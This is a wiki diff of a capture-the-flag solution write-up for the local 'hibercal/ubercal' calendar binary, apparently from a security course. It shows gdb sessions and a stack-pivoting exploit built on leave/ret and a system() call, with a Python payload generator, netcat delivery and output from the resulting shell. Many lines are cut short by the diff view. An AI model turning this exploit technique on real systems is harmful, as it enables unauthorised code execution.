session:solution:mid-ctf_tasks2_4
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| session:06_tasks2_4 [2014/07/11 10:08] – rcaragea | session:solution:mid-ctf_tasks2_4 [2020/07/19 09:49] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 10: | Line 10: | ||
| <code bash> | <code bash> | ||
| - | # gdb ./hibercal | + | $ gdb ./hibercal |
| gdb-peda$ pdis hibercal | gdb-peda$ pdis hibercal | ||
| Dump of assembler code for function hibercal: | Dump of assembler code for function hibercal: | ||
| Line 137: | Line 137: | ||
| Let's try it. | Let's try it. | ||
| <code bash> | <code bash> | ||
| - | # | + | $ gdb ./ |
| gdb-peda$ p system | gdb-peda$ p system | ||
| $1 = {<text variable, no debug info>} 0x80486f0 < | $1 = {<text variable, no debug info>} 0x80486f0 < | ||
| gdb-peda$ quit | gdb-peda$ quit | ||
| - | # python | + | $ python |
| >>> | >>> | ||
| 134514416 | 134514416 | ||
| - | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
| Enter your name: | Enter your name: | ||
| Line 365: | Line 365: | ||
| <code bash> | <code bash> | ||
| - | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
| Enter your name: | Enter your name: | ||
| Line 374: | Line 374: | ||
| What do you want to write? | What do you want to write? | ||
| 1 | 1 | ||
| - | # dmesg|tail -1 | + | $ dmesg|tail -1 |
| ubercal[23403]: | ubercal[23403]: | ||
| </ | </ | ||
| Line 384: | Line 384: | ||
| <code bash> | <code bash> | ||
| - | # nc 127.0.0.1 4242 | + | $ nc 127.0.0.1 4242 |
| Enter your name: | Enter your name: | ||
| Line 398: | Line 398: | ||
| Works as expected! | Works as expected! | ||
| + | |||
| + | ==== Solving using Paul's idea (stack pivoting) ==== | ||
| + | During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more " | ||
| + | It's a much more difficult solution but doable. Let's try it. | ||
| + | |||
| + | The whole idea is to use the **leave** and **ret** set of instructions to do some magic. | ||
| + | **leave** esentially does | ||
| + | <code asm> | ||
| + | mov esp, ebp | ||
| + | pop ebp | ||
| + | </ | ||
| + | |||
| + | So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack. | ||
| + | Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well. | ||
| + | |||
| + | If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**. | ||
| + | Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**. | ||
| + | |||
| + | So the context is the following: | ||
| + | < | ||
| + | Initially: | ||
| + | After leave part1 (mov esp, ebp): ESP = current_ebp | ||
| + | After leave part2 (pop ebp): ESP = current_ebp + 4 EBP = saved_ebp = our_input | ||
| + | |||
| + | After return: | ||
| + | |||
| + | |||
| + | After leave part1 (mov esp, ebp): ESP = our_input, | ||
| + | After leave part2 (pop ebp): ESP = our_input + 4 EBP= first 4 bytes at the address " | ||
| + | |||
| + | After return: | ||
| + | </ | ||
| + | |||
| + | We can control EIP with bytes 4:7 and the stack as well. | ||
| + | We can reuse the instruction at 0x080488d1: | ||
| + | <code asm> | ||
| + | | ||
| + | | ||
| + | </ | ||
| + | We see the call to **system** expects the parameter to be right on the top of the stack. | ||
| + | Our payload should now be like this: | ||
| + | < | ||
| + | 00: value of our_input | ||
| + | 04: 0x080488d1 (call to system) | ||
| + | 08: address that holds the command given to system | ||
| + | 0c: ???? | ||
| + | </ | ||
| + | |||
| + | Since the only buffer we control is the name we want the following: | ||
| + | < | ||
| + | name+00 : address of name | ||
| + | name+04 : 0x080488d1 (call to system) | ||
| + | name+08 : address of name+0c | ||
| + | name+0c : the actual command | ||
| + | </ | ||
| + | |||
| + | All we need now is to find out the address of the **name** buffer. We have the following snippets: | ||
| + | |||
| + | <code asm> | ||
| + | | ||
| + | | ||
| + | | ||
| + | |||
| + | |||
| + | |||
| + | | ||
| + | | ||
| + | | ||
| + | </ | ||
| + | So | ||
| + | < | ||
| + | |||
| + | name = ebp - 0xb0 | ||
| + | calendar = ebp - 0x4c | ||
| + | |||
| + | |||
| + | name - calendar = - 0xb0 + 0x4c = -100 | ||
| + | |||
| + | name = calendar - 100 | ||
| + | </ | ||
| + | But we already know the address of **calendar** from before. It's X from the previous solution using dmesg. | ||
| + | |||
| + | The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it. | ||
| + | |||
| + | The full python script is: | ||
| + | <code python> | ||
| + | # | ||
| + | import struct,sys; | ||
| + | |||
| + | |||
| + | segv_addr = 0xbff9dc5c | ||
| + | calendar_addr = segv_addr + 100000 * 4 | ||
| + | buffer_addr = calendar_addr - 100 | ||
| + | |||
| + | |||
| + | |||
| + | val = struct.unpack("< | ||
| + | |||
| + | sys.stderr.write(" | ||
| + | |||
| + | |||
| + | |||
| + | payload = struct.pack('< | ||
| + | payload += struct.pack('< | ||
| + | payload += struct.pack('< | ||
| + | payload += "/ | ||
| + | |||
| + | print payload | ||
| + | |||
| + | </ | ||
| + | |||
| + | And now we try it: | ||
| + | <code bash> | ||
| + | $ cat <(python gen_input.py) - | nc 127.0.0.1 4242 | ||
| + | Enter your name: | ||
| + | |||
| + | Use 19 and -1073746712 as input | ||
| + | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
| + | Which day? | ||
| + | 19 | ||
| + | What do you want to write? | ||
| + | -1073746712 | ||
| + | Goodbye | ||
| + | èìÿ¿ôìÿ¿/ | ||
| + | date | ||
| + | Fri Jul 11 13:50:37 EEST 2014 | ||
| + | ls | ||
| + | Makefile | ||
| + | README | ||
| + | ubercal | ||
| + | ubercal.c | ||
| + | |||
| + | </ | ||
| + | |||
| + | |||
session/solution/mid-ctf_tasks2_4.1405073321.txt.gz · Last modified: by rcaragea
